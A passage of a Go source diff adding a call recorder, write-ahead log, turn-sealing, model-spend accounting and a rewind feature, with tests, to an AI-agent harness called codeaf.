ModelCall{Model: m.Model, Role: m.Role, TokensIn: uint32(m.TokensIn), TokensOut: uint32(m.TokensOut), + TokensCached: uint32(m.TokensCached), CostMicroUSD: m.CostMicroUSD} +} + +// SealedCall is a model call and the instant of the seal that recorded it. +type SealedCall struct { + ModelCall + SealedAtMs int64 +} + +// ModelCalls is every model call the cell ever sealed, oldest first. The chain +// is append-only (L12), so a rewound-past turn's calls are still here: spend +// already paid never disappears. +// +// A CHAIN THAT CAME FROM ANOTHER MACHINE HAS A HOLE AT EACH HEAD IT ADOPTED. The +// seal writes its receipt into the tree it snapshots and its line into the log +// after, so the log a take carries does not name the newest turn, and the log +// the next seal grows never will. That turn's receipt is in the tree all the +// same, and so are the calls in it: receipts the log does not name are read +// too, in the order of the instant each was sealed. +func ModelCalls(c cell.Cell) ([]SealedCall, error) { + turns, err := Turns(c) + if err != nil { + return nil, err + } + named := make(map[string]bool, len(turns)) + var all []SealedCall + for _, t := range turns { + named[t.Receipt] = true + r, err := readReceipt(c, t.Receipt) + if err != nil { + return nil, fmt.Errorf("turn %s: %w", t.ID, err) + } + all = append(all, sealedCalls(r, t.SealedAtMs)...) + } + unnamed, err := unnamedReceipts(c, named) + if err != nil { + return nil, err + } + all = append(all, unnamed...) + sort.SliceStable(all, func(i, j int) bool { return all[i].SealedAtMs < all[j].SealedAtMs }) + return all, nil +} + +func sealedCalls(r Receipt, at int64) []SealedCall { + out := make([]SealedCall, len(r.ModelCalls)) + for i, m := range r.ModelCalls { + out[i] = SealedCall{ModelCall: m, SealedAtMs: at} + } + return out +} + +// unnamedReceipts is the model calls of the receipts in the tree that no line of +// the log names. A receipt from before receipts said when they were sealed is +// dated by its file. +func unnamedReceipts(c cell.Cell, named map[string]bool) ([]SealedCall, error) { + entries, err := os.ReadDir(rel(c, ReceiptsDir)) + if errors.Is(err, fs.ErrNotExist) { + return nil, nil + } + if err != nil { + return nil, err + } + var out []SealedCall + for _, e := range entries { + id := strings.TrimSuffix(e.Name(), ".json") + if named[id] || id == e.Name() { + continue + } + r, err := readReceipt(c, id) + if err != nil { + return nil, fmt.Errorf("receipt %s: %w", id, err) + } + at := r.SealedAtMs + if info, err := e.Info(); at == 0 && err == nil { + at = info.ModTime().UnixMilli() + } + out = append(out, sealedCalls(r, at)...) + } + return out, nil +} diff --git a/internal/cellstore/recorder.go b/internal/cellstore/recorder.go new file mode 100644 index 0000000000..f2041e5444 --- /dev/null +++ b/internal/cellstore/recorder.go @@ -0,0 +1,313 @@ +package cellstore + +import ( + "context" + "encoding/json" + "fmt" + "strings" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" +) + +// Options tune a Recorder; every field has a working zero value. +type Options struct { + // Tool names the calls in receipts; "exec" when empty. + Tool string + // Now is the clock; time.Now when nil. + Now func() time.Time + // Report receives the outcome of every seal: the error of one that failed, + // nil for one that held. A failed seal never fails the call it follows: the + // call's record is durable in the WAL and rides the next seal. [SealWatch] + // is the holder of what the outcomes add up to. + Report func(error) + // Refresh, when set, is called just before each seal so the record the seal + // carries is true at that moment: the inventory uses it to say which of the + // chat's commands are still running. + Refresh func() +} + +// Recorder is the one hook (task 0.7): an executor.Executor that logs each +// call's intent, runs it, logs its completion, and seals the cell. +type Recorder struct { + inner executor.Executor + store Store + cell cell.Cell + wal *WAL + opts Options + + mu sync.Mutex // serialises seals; guards pending and incomplete + pending []Executed + models []ModelCall // model calls since the last seal + incomplete []Intent +} + +var _ executor.Executor = (*Recorder)(nil) + +// NewRecorder reopens the WAL at walPath. Calls that completed but never +// sealed ride the next seal; calls with an intent and no completion are kept +// for Incomplete and are never run again here (L9). +func NewRecorder(inner executor.Executor, store Store, c cell.Cell, walPath string, opts Options) (*Recorder, error) { + wal, rec, err := OpenWAL(walPath) + if err != nil { + return nil, fmt.Errorf("open call log: %w", err) + } + reapOrphans(rec.Incomplete, reapGrace) + return &Recorder{inner: inner, store: store, cell: c, wal: wal, opts: opts, + pending: rec.Completed, incomplete: rec.Incomplete}, nil +} + +// Wrap is the seam callers use. With CODEAF_CELLS=0 it returns inner itself, +// so the flag-off path is not a different code path, it is no path. +func Wrap(inner executor.Executor, c cell.Cell) (executor.Executor, error) { + if !cell.Enabled() { + return inner, nil + } + r, err := recorderFor(inner, Engine{}, c, Options{}) + if err != nil { + return nil, err + } + return r, nil +} + +// Exec implements executor.Executor. A call whose intent cannot be made +// durable does not run: an unlogged external call could never be recovered. +func (r *Recorder) Exec(ctx context.Context, req executor.ExecRequest, onOutput func(executor.Chunk)) (executor.ExecResult, error) { + intent := r.intent(req) + if err := r.wal.Begin(intent); err != nil { + return executor.ExecResult{}, fmt.Errorf("log call intent: %w", err) + } + res, err := r.inner.Exec(ctx, req, onOutput) + r.complete(ctx, intent, executed(intent, res, err, r.now().UnixMilli()), true) + return res, err +} + +// Around records one whole tool call, whatever it did inside: a process through +// Exec, one owned by the tool through Command, or a file written directly. The +// call is the boundary the tree is sealed at, so this is what a session uses; +// Exec is the same record for a caller that has only an executor. +func (r *Recorder) Around(ctx context.Context, call executor.Call, effect executor.SideEffect, trigger Trigger, run func() ([]byte, bool)) error { + intent := Intent{V: walV, Tool: call.Tool, ArgsHash: hashHex(call.Args), Started: r.now().UnixMilli(), + SideEffect: string(effect), Brief: briefOf(call.Args)} + if err := r.wal.Begin(intent); err != nil { + return fmt.Errorf("log call intent: %w", err) + } + call.Spawns.Watch(func(pgid int) { r.report(r.wal.Started(intent, groupRec(pgid))) }) + out, failed := run() + done := executed(intent, executor.ExecResult{Exit: exitOfFailure(failed), Stdout: out}, nil, r.now().UnixMilli()) + done.Changed = call.Changed + done.Command = commandOf(call.Args) + done.Trigger = trigger + r.complete(ctx, intent, done, !call.Deferred) + return nil +} + +func exitOfFailure(failed bool) int { + if failed { + return 1 + } + return 0 +} + +// NoteModelCall implements executor.ModelNoter: the call rides the next seal, +// in the receipt of the turn it was made in. +func (r *Recorder) NoteModelCall(m executor.ModelCall) { + r.mu.Lock() + defer r.mu.Unlock() + r.models = append(r.models, modelCallOf(m)) +} + +// Incomplete lists the calls that were started and never finished, oldest first. +func (r *Recorder) Incomplete() []Intent { + r.mu.Lock() + defer r.mu.Unlock() + return append([]Intent(nil), r.incomplete...) +} + +// Resolve closes an incomplete call after it has been surfaced and dealt with. +func (r *Recorder) Resolve(i Intent) error { + r.mu.Lock() + defer r.mu.Unlock() + if err := r.wal.Resolve(i); err != nil { + return err + } + r.incomplete = without(r.incomplete, i) + return nil +} + +func without(list []Intent, gone Intent) []Intent { + var out []Intent + for _, i := range list { + if i.key() != gone.key() { + out = append(out, i) + } + } + return out +} + +// Interrupted implements executor.Interruptible: what the last run left +// unfinished, as a person and the model are told of it. +func (r *Recorder) Interrupted() executor.Interrupted { return interrupted{r} } + +func (r *Recorder) now() time.Time { + if r.opts.Now == nil { + return time.Now() + } + return r.opts.Now() +} + +func (r *Recorder) tool() string { + if r.opts.Tool == "" { + return "exec" + } + return r.opts.Tool +} + +func (r *Recorder) intent(req executor.ExecRequest) Intent { + return Intent{V: walV, Tool: r.tool(), ArgsHash: argsHash(req), Started: r.now().UnixMilli(), + SideEffect: string(executor.Classify(req.Net)), Brief: clip(strings.Join(req.Argv, " "))} +} + +// argsHash hashes the request's canonical arguments. The environment is left +// out: it carries secrets, and the receipt is not the place for them. +func argsHash(req executor.ExecRequest) string { + raw, _ := json.Marshal(struct { + Argv []string `json:"argv"` + Dir string `json:"dir"` + }{req.Argv, req.Dir}) + return hashHex(raw) +} + +// complete logs the call's completion and, unless the caller deferred it, +// seals. It runs on the call's way out whatever the call did, and seals under a +// context the caller cannot cancel: a cancelled call may still have changed +// files. A deferred call is already durable in the WAL, so a death before the +// Settle loses nothing the next start does not carry. +func (r *Recorder) complete(ctx context.Context, i Intent, e Executed, seal bool) { + r.mu.Lock() + defer r.mu.Unlock() + if err := r.wal.Finish(i, e); err != nil { + r.report(err) + } + r.pending = append(r.pending, e) + if seal { + r.seal(context.WithoutCancel(ctx)) + } +} + +// Settle implements executor.Settler. It seals what deferred calls left pending, +// and, with nothing pending, the transcript lines written since the last seal +// (the closing answer of a turn), so that a process killed after either loses +// neither. A seal with no call in it looks at the state directory only: nothing +// but the transcript changed. +func (r *Recorder) Settle(ctx context.Context) { + r.mu.Lock() + defer r.mu.Unlock() + if len(r.pending) == 0 && len(r.models) == 0 && !r.transcriptGrew() { + return + } + r.seal(context.WithoutCancel(ctx)) +} + +// transcriptGrew reports whether the transcript is longer than the last seal saw. +func (r *Recorder) transcriptGrew() bool { + head, err := Head(r.cell) + if err != nil { + return true + } + return transcriptRange(r.cell, head).End != lastEnd(head) +} + +func lastEnd(head *Sealed) int64 { + if head == nil { + return 0 + } + return head.Receipt.Transcript.End +} + +// seal takes everything pending into one turn. On failure the batch stays +// pending and the next call's seal carries it. Callers hold r.mu. +func (r *Recorder) seal(ctx context.Context) { + if r.opts.Refresh != nil { + r.opts.Refresh() + } + batch := r.pending + if _, err := r.store.Seal(ctx, r.cell, TurnInfo{Trigger: triggerOfBatch(batch), Calls: batch, Models: r.models, Changed: changedOf(batch)}); err != nil { + r.report(err) + return + } + r.pending, r.models = nil, nil + r.outcome(r.wal.Sealed(batch)) +} + +// outcome tells Report how a seal ended, nil included. +func (r *Recorder) outcome(err error) { + if r.opts.Report != nil { + r.opts.Report(err) + } +} + +func (r *Recorder) report(err error) { + if err != nil && r.opts.Report != nil { + r.opts.Report(err) + } +} + +// executed folds a finished call into its record. Output is kept only for an +// external call (SCHEMAS.md ruling 3): a local one can be re-run. +func executed(i Intent, res executor.ExecResult, callErr error, ended int64) Executed { + e := Executed{ + Call: Call{Tool: i.Tool, ArgsHash: i.ArgsHash, Started: i.Started, Ended: ended, Exit: exitOf(res, callErr), + StdoutHash: hashHex(res.Stdout), StderrHash: hashHex(res.Stderr), SideEffect: i.SideEffect}, + Exact: executor.SnapshotExact(res), + Services: serviceRecs(res.Services), + } + if !i.MayRerun() { + e.Stdout, e.Stderr = res.Stdout, res.Stderr + } + return e +} + +func exitOf(res executor.ExecResult, callErr error) int { + if callErr != nil { + return -1 + } + return res.Exit +} + +func serviceRecs(list []executor.Service) []ServiceRec { + var out []ServiceRec + for _, s := range list { + out = append(out, serviceRec(s.PGID, s.Argv, s.Ports)) + } + return out +} + +// changedOf is the paths a batch of calls changed, or nil when any one of them +// could have changed anything (an empty batch changed nothing but the transcript): a promise of "only these" needs every call's word. +func changedOf(batch []Executed) []string { + if len(batch) == 0 { + return []string{} + } + var all []string + for _, e := range batch { + if e.Changed == nil { + return nil + } + all = append(all, e.Changed...) + } + return all +} + +// triggerOfBatch is why the batch's turn exists: Setup when any call in it was a +// setup turn's, so a setup call's seal is never labelled an ordinary run. +func triggerOfBatch(batch []Executed) Trigger { + for _, e := range batch { + if e.Trigger == Setup { + return Setup + } + } + return AgentRun +} diff --git a/internal/cellstore/recorder_test.go b/internal/cellstore/recorder_test.go new file mode 100644 index 0000000000..60055205cf --- /dev/null +++ b/internal/cellstore/recorder_test.go @@ -0,0 +1,246 @@ +package cellstore + +import ( + "context" + "encoding/json" + "errors" + "os" + "path/filepath" + "reflect" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" +) + +func newRecorder(t *testing.T, c cell.Cell, inner executor.Executor, walPath string) (*Recorder, *fakeEngine) { + t.Helper() + fake := &fakeEngine{} + r, err := NewRecorder(inner, fake.engine(t), c, walPath, Options{}) + if err != nil { + t.Fatal(err) + } + return r, fake +} + +func req(net executor.NetPolicy, argv ...string) executor.ExecRequest { + return executor.ExecRequest{Argv: argv, Net: net} +} + +var open = executor.NetPolicy{Open: true} + +func TestEachCallSealsOneTurnWithItsReceiptRow(t *testing.T) { + c := newCell(t) + r, fake := newRecorder(t, c, &stubExec{}, filepath.Join(t.TempDir(), "wal")) + for _, argv := range [][]string{{"a"}, {"b"}} { + if _, err := r.Exec(context.Background(), req(executor.NetPolicy{}, argv...), nil); err != nil { + t.Fatal(err) + } + } + if got := fake.count("turn-end"); got != 2 { + t.Fatalf("%d seals for two calls", got) + } + head, _ := Head(c) + if len(head.Receipt.Calls) != 1 || head.Receipt.Calls[0].SideEffect != "local" || head.Turn.Parent == "" { + t.Fatalf("head %+v", head) + } +} + +func TestSealFailureDoesNotFailTheCallAndRidesTheNextSeal(t *testing.T) { + c := newCell(t) + fail := true + fake := &fakeEngine{} + e := fake.engine(t) + good := e.Run + e.Run = func(ctx context.Context, d string, env []string, argv ...string) ([]byte, error) { + if fail && len(argv) > 2 && argv[2] == "hook" { + return nil, errors.New("disk full") + } + return good(ctx, d, env, argv...) + } + var reported []error + r, err := NewRecorder(&stubExec{}, e, c, filepath.Join(t.TempDir(), "wal"), Options{Report: func(err error) { + if err != nil { + reported = append(reported, err) + } + }}) + if err != nil { + t.Fatal(err) + } + if _, err := r.Exec(context.Background(), req(executor.NetPolicy{}, "one"), nil); err != nil { + t.Fatalf("call failed with the seal: %v", err) + } + fail = false + if _, err := r.Exec(context.Background(), req(executor.NetPolicy{}, "two"), nil); err != nil { + t.Fatal(err) + } + head, _ := Head(c) + if len(reported) != 1 || len(head.Receipt.Calls) != 2 { + t.Fatalf("reported %v, head calls %d; want one report and both calls in the turn", reported, len(head.Receipt.Calls)) + } +} + +// A harness that dies after logging intent and before the result leaves an +// intent with no completion. (L9) +func crashMidCall(t *testing.T, c cell.Cell, wal string, net executor.NetPolicy) { + t.Helper() + inner := &stubExec{fn: func(executor.ExecRequest) (executor.ExecResult, error) { panic("harness died") }} + r, _ := newRecorder(t, c, inner, wal) + func() { + defer func() { _ = recover() }() + _, _ = r.Exec(context.Background(), req(net, "curl", "example.com"), nil) + }() +} + +func TestIncompleteCallIsSurfacedAndNeverRerun(t *testing.T) { + for name, tc := range map[string]struct { + net executor.NetPolicy + rerun bool + }{"external": {open, false}, "local": {executor.NetPolicy{}, true}} { + t.Run(name, func(t *testing.T) { + c := newCell(t) + wal := filepath.Join(t.TempDir(), "wal") + crashMidCall(t, c, wal, tc.net) + + inner := &stubExec{} + r, fake := newRecorder(t, c, inner, wal) + got := r.Incomplete() + if len(got) != 1 || got[0].SideEffect != name || got[0].MayRerun() != tc.rerun { + t.Fatalf("incomplete = %+v", got) + } + if inner.runs != 0 || fake.count("turn-end") != 0 { + t.Fatalf("reopen ran %d calls and %d seals; it must run none", inner.runs, fake.count("turn-end")) + } + if err := r.Resolve(got[0]); err != nil || len(r.Incomplete()) != 0 { + t.Fatalf("resolve: %v %v", err, r.Incomplete()) + } + again, _ := newRecorder(t, c, inner, wal) + if len(again.Incomplete()) != 0 { + t.Fatal("a resolved intent came back") + } + }) + } +} + +func TestIncompleteSurvivesLaterSeals(t *testing.T) { + c := newCell(t) + wal := filepath.Join(t.TempDir(), "wal") + crashMidCall(t, c, wal, open) + r, _ := newRecorder(t, c, &stubExec{}, wal) + if _, err := r.Exec(context.Background(), req(executor.NetPolicy{}, "next"), nil); err != nil { + t.Fatal(err) + } + if len(r.Incomplete()) != 1 { + t.Fatal("sealing another call dropped the incomplete one") + } + reopened, _ := newRecorder(t, c, &stubExec{}, wal) + if len(reopened.Incomplete()) != 1 { + t.Fatal("compaction dropped the incomplete intent") + } +} + +func TestCompletedButUnsealedCallRidesTheNextSeal(t *testing.T) { + c := newCell(t) + wal := filepath.Join(t.TempDir(), "wal") + w, _, _ := OpenWAL(wal) + i := Intent{V: 1, Tool: "exec", ArgsHash: "aa", Started: 5, SideEffect: "external"} + _ = w.Begin(i) + _ = w.Finish(i, Executed{Call: Call{Tool: "exec", ArgsHash: "aa", Started: 5, SideEffect: "external"}, Stdout: []byte("kept")}) + + r, _ := newRecorder(t, c, &stubExec{}, wal) + if _, err := r.Exec(context.Background(), req(executor.NetPolicy{}, "x"), nil); err != nil { + t.Fatal(err) + } + head, _ := Head(c) + if len(head.Receipt.Calls) != 2 || head.Receipt.Calls[0].ArgsHash != "aa" { + t.Fatalf("calls %+v", head.Receipt.Calls) + } + if got, _ := os.ReadFile(rel(c, BlobsDir+"/"+hashHex([]byte("kept")))); string(got) != "kept" { + t.Fatal("external output lost across the crash") + } +} + +func TestExternalCallKeepsOutputInTheWAL(t *testing.T) { + c := newCell(t) + wal := filepath.Join(t.TempDir(), "wal") + inner := &stubExec{fn: func(executor.ExecRequest) (executor.ExecResult, error) { + return executor.ExecResult{Stdout: []byte("resp"), SideEffect: executor.EffectExternal}, nil + }} + fake := &fakeEngine{} + e := fake.engine(t) + e.Run = func(context.Context, string, []string, ...string) ([]byte, error) { return nil, errors.New("down") } + r, _ := NewRecorder(inner, e, c, wal, Options{}) + _, _ = r.Exec(context.Background(), req(open, "curl"), nil) + + _, rec, _ := OpenWAL(wal) + if len(rec.Completed) != 1 || string(rec.Completed[0].Stdout) != "resp" { + t.Fatalf("wal completed %+v", rec.Completed) + } +} + +func TestFlagOffWrapIsTheExecutorItself(t *testing.T) { + t.Setenv(cell.EnvVar, "0") + c := newCell(t) + inner := &stubExec{} + got, err := Wrap(inner, c) + if err != nil || got != executor.Executor(inner) { + t.Fatalf("Wrap with the flag off = %#v, %v; want the same executor", got, err) + } + if _, err := got.Exec(context.Background(), req(executor.NetPolicy{}, "x"), nil); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(rel(c, TurnsPath)); !os.IsNotExist(err) { + t.Fatalf("flag off wrote %s", TurnsPath) + } +} + +func TestFlagOnWrapRecords(t *testing.T) { + t.Setenv(cell.EnvVar, "1") + t.Setenv("CODEAF_HOME", t.TempDir()) + got, err := Wrap(&stubExec{}, newCell(t)) + if _, ok := got.(*Recorder); err != nil || !ok { + t.Fatalf("Wrap with the flag on = %T, %v", got, err) + } +} + +// The record of what is running is brought up to date just before the seal that +// carries it, so a job started after the last tool call is in the seal taken at +// the turn's end and not in the one after. +func TestRunningRefreshedAtTurnEnd(t *testing.T) { + c := newCell(t) + fake := &fakeEngine{} + var sealsWhenRefreshed []int + r, err := NewRecorder(&stubExec{}, fake.engine(t), c, filepath.Join(t.TempDir(), "wal"), Options{Refresh: func() { + sealsWhenRefreshed = append(sealsWhenRefreshed, fake.count("turn-end")) + }}) + if err != nil { + t.Fatal(err) + } + for range 2 { + if _, err := r.Exec(context.Background(), req(executor.NetPolicy{}, "true"), nil); err != nil { + t.Fatal(err) + } + } + if want := []int{0, 1}; !reflect.DeepEqual(sealsWhenRefreshed, want) { + t.Fatalf("the record was refreshed after %v seals, want before each one: %v", sealsWhenRefreshed, want) + } +} + +func TestACallRecordsItsCommandForTheSealThatFollowsAndNotForTheReceipt(t *testing.T) { + c := newCell(t) + fake := &fakeEngine{} + r, err := NewRecorder(&stubExec{}, fake.engine(t), c, filepath.Join(t.TempDir(), "wal"), Options{}) + if err != nil { + t.Fatal(err) + } + args := []byte(`{"command":"API_KEY=sk-abcdefghijklmnopqrstuvwx npm ci"}`) + if err := r.Around(context.Background(), executor.Call{Tool: "bash", Args: args}, executor.EffectLocal, AgentRun, func() ([]byte, bool) { return nil, false }); err != nil { + t.Fatal(err) + } + head, _ := Head(c) + enc, _ := json.Marshal(head.Receipt) + if strings.Contains(string(enc), "npm ci") || strings.Contains(string(enc), "sk-abc") { + t.Fatalf("the receipt carries the command line: %s", enc) + } +} diff --git a/internal/cellstore/restate.go b/internal/cellstore/restate.go new file mode 100644 index 0000000000..e5bca3db01 --- /dev/null +++ b/internal/cellstore/restate.go @@ -0,0 +1,130 @@ +package cellstore + +import ( + "context" + "fmt" + "io/fs" + "os" + "path" + "path/filepath" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// chainNames are the entries of .cell/ that a restore never writes: the chain +// describes the past rather than belongs to any turn's content (L12), and +// meta.json is the harness's own, composed afresh by every seal. +var chainNames = map[string]bool{ + path.Base(TurnsPath): true, + path.Base(ReceiptsDir): true, + path.Base(BlobsDir): true, + path.Base(cell.MetaPath): true, +} + +// restoreKeepingChain puts the workspace and the rest of .cell/ (the +// transcript, the environment) back as the snapshot held them, and leaves the +// chain untouched. The engine restores the composed .cell/ into a scratch +// directory instead of the cell's own, and only the entries that are not the +// chain are carried over. Nothing of the chain is ever held in memory or +// written back, so a crash at any point leaves it whole. +func (e Engine) restoreKeepingChain(ctx context.Context, c cell.Cell, snapshot string) error { + scratch, err := e.scratchDir(c) + if err != nil { + return err + } + defer os.RemoveAll(scratch) + if err := e.restore(ctx, c, snapshot, nil, scratch); err != nil { + return err + } + return syncState(scratch, stateDir(c)) +} + +// scratchDir is a fresh directory beside the cell's engine store: device-local, +// and never inside a tree the engine restores. +func (e Engine) scratchDir(c cell.Cell) (string, error) { + local := e.LocalDir(c) + if err := os.MkdirAll(local, 0o700); err != nil { + return "", err + } + return os.MkdirTemp(local, "rewind-") +} + +// syncState makes the non-chain files under to match those under from: each is +// replaced whole (never half written), and those from does not hold are removed. +func syncState(from, to string) error { + want, err := stateFiles(from) + if err != nil { + return err + } + for _, name := range want { + if err := copyFile(filepath.Join(from, name), filepath.Join(to, name)); err != nil { + return err + } + } + have, err := stateFiles(to) + if err != nil { + return err + } + return removeAbsent(to, have, want) +} + +func removeAbsent(dir string, have, want []string) error { + keep := make(map[string]bool, len(want)) + for _, name := range want { + keep[name] = true + } + for _, name := range have { + if keep[name] { + continue + } + if err := os.Remove(filepath.Join(dir, name)); err != nil { + return err + } + } + return nil +} + +// stateFiles lists the files under root that are not the chain, root-relative. +func stateFiles(root string) ([]string, error) { + var names []string + err := filepath.WalkDir(root, func(p string, d fs.DirEntry, err error) error { + if err != nil || d.IsDir() { + return err + } + name, _ := filepath.Rel(root, p) + if !chainNames[strings.SplitN(filepath.ToSlash(name), "/", 2)[0]] { + names = append(names, name) + } + return nil + }) + if os.IsNotExist(err) { + return nil, nil + } + return names, err +} + +// copyFile replaces dst with src's bytes by writing beside it and renaming. +func copyFile(src, dst string) error { + raw, err := os.ReadFile(src) + if err != nil { + return err + } + if err := os.MkdirAll(filepath.Dir(dst), 0o700); err != nil { + return err + } + tmp, err := os.CreateTemp(filepath.Dir(dst), ".restate-*") + if err != nil { + return err + } + if _, err := tmp.Write(raw); err != nil { + _ = tmp.Close() + _ = os.Remove(tmp.Name()) + return fmt.Errorf("restore state: %w", err) + } + if err := tmp.Close(); err != nil { + _ = os.Remove(tmp.Name()) + return err + } + return os.Rename(tmp.Name(), dst) +} diff --git a/internal/cellstore/rewind.go b/internal/cellstore/rewind.go new file mode 100644 index 0000000000..069825654f --- /dev/null +++ b/internal/cellstore/rewind.go @@ -0,0 +1,72 @@ +package cellstore + +import ( + "context" + "fmt" + "path/filepath" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// rewindTool is the tool name the rewind turn's receipt row carries. +const rewindTool = "cell.rewind" + +// IncompleteError refuses a rewind while calls are unresolved (L9): an +// incomplete call may have half-run, and restoring underneath it would hide +// what it did. +type IncompleteError struct{ Intents []Intent } + +func (e IncompleteError) Error() string { + tools := make([]string, len(e.Intents)) + for i, in := range e.Intents { + tools[i] = in.Tool + } + return fmt.Sprintf("rewind refused: %d call(s) began and never finished (%s); resolve them first", + len(tools), strings.Join(tools, ", ")) +} + +// WALPath is the device-local call-intent log of the cell. +func (e Engine) WALPath(c cell.Cell) string { return filepath.Join(e.LocalDir(c), "wal.jsonl") } + +// Rewind restores the cell's files and transcript to the turn ref names, then +// seals a NEW turn whose parent is the current head and whose content is the +// target's. Nothing in the chain is removed (L12); a rewind can itself be +// rewound. +func (e Engine) Rewind(ctx context.Context, c cell.Cell, ref string) (Sealed, error) { + if err := e.refuseIncomplete(c); err != nil { + return Sealed{}, err + } + turns, err := Turns(c) + if err != nil { + return Sealed{}, err + } + target, err := Resolve(turns, ref) + if err != nil { + return Sealed{}, err + } + if err := e.restoreKeepingChain(ctx, c, target.ID); err != nil { + return Sealed{}, fmt.Errorf("rewind: %w", err) + } + return e.Seal(ctx, c, TurnInfo{Calls: []Executed{e.rewindCall(target)}}) +} + +func (e Engine) refuseIncomplete(c cell.Cell) error { + _, rec, err := OpenWAL(e.WALPath(c)) + if err != nil { + return err + } + if len(rec.Incomplete) > 0 { + return IncompleteError{Intents: rec.Incomplete} + } + return nil +} + +// rewindCall is the receipt row that says why this turn exists. +func (e Engine) rewindCall(target Turn) Executed { + now := e.now().UnixMilli() + return Executed{Exact: true, Call: Call{ + Tool: rewindTool, ArgsHash: hashHex([]byte(target.ID)), Started: now, Ended: now, + StdoutHash: hashHex(nil), StderrHash: hashHex(nil), SideEffect: "local", + }} +} diff --git a/internal/cellstore/rewind_test.go b/internal/cellstore/rewind_test.go new file mode 100644 index 0000000000..3776435f22 --- /dev/null +++ b/internal/cellstore/rewind_test.go @@ -0,0 +1,260 @@ +package cellstore + +import ( + "context" + "errors" + "io/fs" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// sealStep changes the folder and the transcript, then seals one turn. +func sealStep(t *testing.T, e Engine, c cell.Cell, files map[string]string, line string) Sealed { + t.Helper() + writeTree(t, c.Root, files, 0o644) + p, _ := c.Path(cell.TranscriptPath) + f, err := os.OpenFile(p, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) + if err != nil { + t.Fatal(err) + } + if _, err := f.WriteString(line + "\n"); err != nil { + t.Fatal(err) + } + _ = f.Close() + s, err := e.Seal(context.Background(), c, TurnInfo{Calls: []Executed{exec1("edit", line)}}) + if err != nil { + t.Fatal(err) + } + return s +} + +// contentDigest is the tree a turn holds, minus the chain's own files and the +// engine's directories. +func contentDigest(t *testing.T, root string) string { + var keep []string + for _, l := range treeDigest(t, root) { + if !strings.HasPrefix(l, ReceiptsDir) && !strings.HasPrefix(l, BlobsDir) { + keep = append(keep, l) + } + } + return strings.Join(keep, "\n") +} + +// threeTurns seals three turns and returns the content digest after each. +func threeTurns(t *testing.T) (Engine, cell.Cell, []Sealed, []string) { + e := realEngine(t) + c := newCell(t) + steps := []struct { + files map[string]string + line string + }{ + {map[string]string{"a.txt": "one\n", "d/b.txt": "b1\n"}, `{"n":1}`}, + {map[string]string{"a.txt": "two\n", "c.txt": "new\n"}, `{"n":2}`}, + {map[string]string{"d/b.txt": "b3\n"}, `{"n":3}`}, + } + var sealed []Sealed + var digests []string + for _, s := range steps { + sealed = append(sealed, sealStep(t, e, c, s.files, s.line)) + digests = append(digests, contentDigest(t, c.Root)) + } + return e, c, sealed, digests +} + +func TestRewindRestoresFilesAndTranscriptAsANewTurn(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, c, s, digests := threeTurns(t) + rewound := mustRewind(t, e, c, s[0].Turn.ID) + + if got := contentDigest(t, c.Root); got != digests[0] { + t.Fatalf("content differs from turn 1.\nwant:\n%s\ngot:\n%s", digests[0], got) + } + if tr, _ := os.ReadFile(rel(c, cell.TranscriptPath)); string(tr) != "{\"n\":1}\n" { + t.Fatalf("transcript %q, want turn 1's", tr) + } + log, err := Log(c) + if err != nil || len(log) != 4 { + t.Fatalf("log has %d turns (%v), want 4", len(log), err) + } + if log[0].Turn.ID != rewound.Turn.ID || log[0].Turn.Parent != s[2].Turn.ID || log[0].Receipt.Calls[0].Tool != rewindTool { + t.Fatalf("newest %+v, want the rewind with turn 3 as parent", log[0].Turn) + } + for i, want := range []string{s[2].Turn.ID, s[1].Turn.ID, s[0].Turn.ID} { + if log[i+1].Turn.ID != want { + t.Fatalf("history entry %d is %s, want %s: rewind must not rewrite the chain", i+1, log[i+1].Turn.ID, want) + } + } + }) +} + +func TestRewindOfARewind(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, c, s, digests := threeTurns(t) + back := mustRewind(t, e, c, s[0].Turn.ID) + mustRewind(t, e, c, s[2].Turn.ID) + if got := contentDigest(t, c.Root); got != digests[2] { + t.Fatalf("content differs from turn 3.\nwant:\n%s\ngot:\n%s", digests[2], got) + } + again := mustRewind(t, e, c, back.Turn.ID) + if got := contentDigest(t, c.Root); got != digests[0] { + t.Fatal("rewinding the rewind did not return to turn 1's content") + } + if log, _ := Log(c); len(log) != 6 || log[0].Turn.ID != again.Turn.ID { + t.Fatalf("log has %d turns, want 6", len(log)) + } + }) +} + +func TestRewindRefusedWhileACallIsIncomplete(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e, c, s, digests := threeTurns(t) + wal, _, err := OpenWAL(e.WALPath(c)) + if err != nil { + t.Fatal(err) + } + if err := wal.Begin(Intent{Tool: "deploy", ArgsHash: hashHex([]byte("x")), Started: 5, SideEffect: "external"}); err != nil { + t.Fatal(err) + } + _, err = e.Rewind(context.Background(), c, s[0].Turn.ID) + var incomplete IncompleteError + if !errors.As(err, &incomplete) || !strings.Contains(err.Error(), "deploy") { + t.Fatalf("err = %v, want an IncompleteError naming deploy", err) + } + if got := contentDigest(t, c.Root); got != digests[2] { + t.Fatal("a refused rewind changed the tree") + } + if log, _ := Log(c); len(log) != 3 { + t.Fatalf("a refused rewind sealed a turn: %d turns", len(log)) + } + }) +} + +func TestResolveNeedsExactlyOneMatch(t *testing.T) { + turns := []Turn{{ID: "abc1"}, {ID: "abd2"}} + for ref, ok := range map[string]bool{"abc": true, "ab": false, "zz": false, "": false} { + if _, err := Resolve(turns, ref); (err == nil) != ok { + t.Errorf("Resolve(%q) err=%v, want ok=%v", ref, err, ok) + } + } +} + +func mustRewind(t *testing.T, e Engine, c cell.Cell, ref string) Sealed { + t.Helper() + s, err := e.Rewind(context.Background(), c, ref) + if err != nil { + t.Fatal(err) + } + return s +} + +// chainBytes is every chain file's content by cell-relative path. +func chainBytes(t *testing.T, c cell.Cell) map[string]string { + t.Helper() + out := map[string]string{} + for _, p := range []string{TurnsPath, ReceiptsDir, BlobsDir} { + _ = 